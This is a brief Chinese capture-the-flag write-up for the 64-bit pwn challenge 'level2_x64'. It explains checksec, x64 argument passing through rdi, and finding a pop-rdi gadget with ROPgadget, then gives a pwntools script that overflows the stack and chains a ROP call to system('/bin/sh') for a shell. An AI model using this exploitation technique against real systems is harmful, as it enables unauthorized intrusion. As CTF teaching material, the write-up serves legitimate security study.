先checksec一下
可以栈溢出,我们可以看到文件里有system函数,有/bin/sh字符串,美滋滋
64位函数的参数传递顺序和32位不同,传参顺序:rdi,rsi,rdx,rcx,r8,r9,栈,所以要把\bin\sh
的地址放到rdi里
找一下可溢出的地方,在read函数里
关键点其实就是找出rdi地址(参考大佬的教学)
指令语句:ROPgadget --binary level2_x64 --only "pop|ret"|grep rdi
结果:
上脚本
#代码主体
cn.recv()
bin_addr=bin.search('/bin/sh').next()
system_addr=bin.symbols['system']
rdi= 0x00000000004006b3
payload='a'*(0x80+0x08)+p64(rdi)+p64(bin_addr)+p64(system_addr)
cn.sendline(payload)
cn.interactive()